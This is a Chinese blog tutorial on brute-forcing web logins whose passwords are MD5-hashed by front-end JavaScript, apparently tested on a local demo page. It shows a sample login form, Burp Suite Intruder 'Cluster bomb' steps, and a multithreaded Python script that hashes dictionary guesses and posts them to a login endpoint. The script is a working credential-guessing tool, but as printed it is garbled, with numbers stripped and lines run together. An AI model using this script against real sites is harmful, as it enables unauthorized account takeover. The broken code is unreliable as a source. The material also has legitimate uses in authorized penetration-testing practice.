0x01 前言

  常见的js实现加密的方式有:md5、base64、shal,写了一个简单的demo作为测试。

0x02 代码

login.html

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>用户登录</title>
<script type="text/ecmascript" src="md5.js"></script>
<script>
function checkInput() {
var password_input = document.getElementById('password');
var password_md5 = document.getElementById('password_md5');
// set password
password_md5.value =hex_md5(password_input.value);
return true;
}
</script>
</head>
<body>
<form action="login.php" method="post" onsubmit="return checkInput()">
用户:<input type="text" id="username" name="username"> <br/>
密码:<input type="password" id="password"> <br/>
<input type="hidden" id="password_md5" name="password">
<input type="submit" value="提交" />
</form>
</body>
</html>

提交表单,进行抓包,可以发现密码字段密码进行了加密处理:

0x03 Web暴力猜解

方式一:Burp Suite

  使用Intruder进行暴力猜解,Intruder支持多种爆破模式、加密和编码支持。常见的md5、base64、shal加密方式,都可以用burpsuite直接处理。

  四种爆破方式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。

  最常用的应该是在爆破用户名和密码的时候,使用聚合方式枚举了。

1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”

2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理

3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值   admin:21232f297a57a5a743894a0e4a801fc3

4、md5解密成功,获得用户名密码 admin/admin

方式二:Python脚本

  这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密

准备:

pip install PyExecJS

phantomjs下载:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip

编写Python脚本进行爆破:

#! /usr/bin/env python
# _*_ coding:utf- _*_ import requests
import threadpool
from selenium import webdriver
import execjs def getpass(str):
with open ('md5.js','r') as js:
source = js.read()
phantom = execjs.get('PhantomJS')
getpass = phantom.compile(source)
password = getpass.call('hex_md5',str)
return password def login(user,passwd):
url="http://127.0.0.1/login.php"
payload ={'username':user,'password':getpass(passwd)}
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
try:
response = requests.post(url,data=payload,headers=headers,timeout=)
result=response.content
if result.count('fail')<:
print '[success] ' +url+":"+user+':'+passwd except:
pass def getLines(fileName):
list=[]
with open(fileName, 'r') as fd:
for line in fd.readlines():
line = line.strip()
if not len(line) or line.startswith('#'):
continue
list.append(line)
return list if __name__ == '__main__':
username_list=getLines('user.dict')
password_list=getLines('pass.dict') userlist = [([user,passwd],None) for user in username_list for passwd in password_list] pool = threadpool.ThreadPool()
reqs = threadpool.makeRequests(login,userlist)
[pool.putRequest(req) for req in reqs]
pool.wait()

成功爆破用户账号密码

0x04 END

  从前台到后台是一个质的突破,本文主要对很多web 在登陆的过程中会用 js 对密码进行加密传输,梳理了一下web暴力猜解的技巧。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

参考链接:

JS实现密码加密

http://www.cnblogs.com/mofish/archive/2012/02/25/2367858.html

js实现表单提交submit(),onsubmit

https://www.cnblogs.com/web-wjg/p/7894657.html

对登录中账号密码进行加密之后再传输的爆破的思路和方式

http://www.freebuf.com/articles/web/127888.html

Web暴力破解--前端JS表单加密进行爆破的更多相关文章

  1. Pikachu的暴力破解演示-----基于表单的暴力破解

    1 首先打开XAMMP与burpsuite 2 打开游览器输入127.0.0.1:88进入pikachu,(由于我的端口有80改成88所以输入127.0.0.1:88要是没有更改80只需要输入127. ...

  2. MVC身份验证.MVC过滤器.MVC6关键字Task,Async.前端模拟表单验证,提交.自定义匿名集合.Edge导出到Excel.BootstrapTree树状菜单的全选和反选.bootstrap可搜索可多选可全选下拉框

    1.MVC身份验证. 有两种方式.一个是传统的所有控制器继承自定义Control,然后再里面用MVC的过滤器拦截.所以每次网站的后台被访问时.就会先走入拦截器.进行前端和后端的验证 一个是利用(MVC ...

  3. Jquery.validate.js表单验证插件的使用

    作为一个网站web开发人员,以前居然不知道还有表单验证这样好呀的插件,还在一行行写表单验证,真是后悔没能早点知道他们的存在. 最近公司不忙,自己学习一些东西的时候,发现了validation的一个实例 ...

  4. angular js 表单验证

    <!doctype html> <html ng-app="myapp"> <head> <meta charset="UTF- ...

  5. Js表单验证控件-02 Ajax验证

    在<Js表单验证控件(使用方便,无需编码)-01使用说明>中,写了Verify.js验证控件的基本用法,基本可以满足大多数验证需求,如果涉及服务端的验证,则可以通过Ajax. Ajax验证 ...

  6. 知问前端——Ajax表单插件

    传统的表单提交,需要多次跳转页面,极大的消耗资源也缺乏良好的用户体验.而这款form.js表单的Ajax提交插件将解决这个问题. 一.核心方法 官方网站:http://malsup.com/jquer ...

  7. 前端-form表单与CSS

    目录 form表单 表单属性 label标签 input标签 select 下拉框标签 textarea多行文本 提交 Flask 结合form表单 初探 CSS介绍以及基本选择器 基本选择器 组合选 ...

  8. JS表单验证-12个常用的JS表单验证

    JS表单验证-12个常用的JS表单验证 最近有个项目用到了表单验证,小编在项目完结后的这段时间把常用的JS表单验证demo整理了一下,和大家一起分享~~~ 1. 长度限制 <p>1. 长度 ...

  9. js 表单验证控制代码大全

    js表单验证控制代码大全 关键字:js验证表单大全,用JS控制表单提交 ,javascript提交表单:目录:1:js 字符串长度限制.判断字符长度 .js限制输入.限制不能输入.textarea 长 ...

随机推荐

  1. CentOS 7系统LAMP配置PHP-FPM的示例

    CentOS 7 系统出来有一段时间了,今天我们来看在vps中的 CentOS 7 中给lamp环境配置php-fpm的过程,希望文章可以帮助到各位. CentOS 7 已经发布,并且采用 Apach ...

  2. Java对象创建的过程及对象的内存布局与访问定位

    这里以HotSpot为例,且所说的对象指普通的Java对象,不包括数组和Class对象等. 1.对象创建的过程 1.类加载.解析.初始化:虚拟机遇到new时先检查此指令的参数是否能在常量池中找到类的符 ...

  3. 解决okhttp的java.lang.IllegalStateException: closed错误

    错误如下 原因为OkHttp请求回调中response.body().string()只能有效调用一次,而我使用了两次: String result = response.body().string( ...

  4. jquery跨域访问解决方案

    客户端“跨域访问”一直是一个头疼的问题,好在有jQuery帮忙,从jQuery-1.2以后跨域问题便迎刃而解.由于自己在项目中遇到跨域问题,借此机会对跨域问题来刨根问底,查阅了相关资料和自己的实践,算 ...

  5. Maven 构建配置文件

    什么是构建配置文件? 生成配置文件是一组可以用来设置或覆盖 Maven 构建配置值的默认值.使用生成配置文件,你可以针对不同的环境,如:生产V/S开发环境自定义构建. 配置文件中指定 pom.xml ...

  6. 使用ClaimsIdentity来实现登录授权

    背景:以前做登录时用的都是FormsAuthentication.SetAuthCookie(model.UID, IsRemeber),但是有一个不好,不能存储多个值,有时候我们既想存储登录用户的U ...

  7. Linux环境安装MySQL数据库(RPM格式的软件包)

    1.  下载mysql安装包 下载地址1:  http://www.mysql.com/   (mysql官网) 下载地址2:  http://mirrors.sohu.com/mysql/   (其 ...

  8. tp5的学习

    1.安装,官网下载 2.访问配置:http://localhost/App/public/ 3.入口文件,项目目录/public // 定义应用目录 define('APP_PATH', __DIR_ ...

  9. iOS: 查看 UIView 的视图树

    在想要查看的 UIView 附近打个断点,运行,直到停在断点处,在控制台键入:po [view recursiveDescription],回车. (lldb) po [self recursiveD ...

  10. Android 获取内存信息

    由于工作需要,研究了一下android上获取内存信息的方法,总结如下: 1.SDK获取 在Java层利用API获取很简单,直接使用ActivityManager.MemoryInfo类即可,代码如下: ...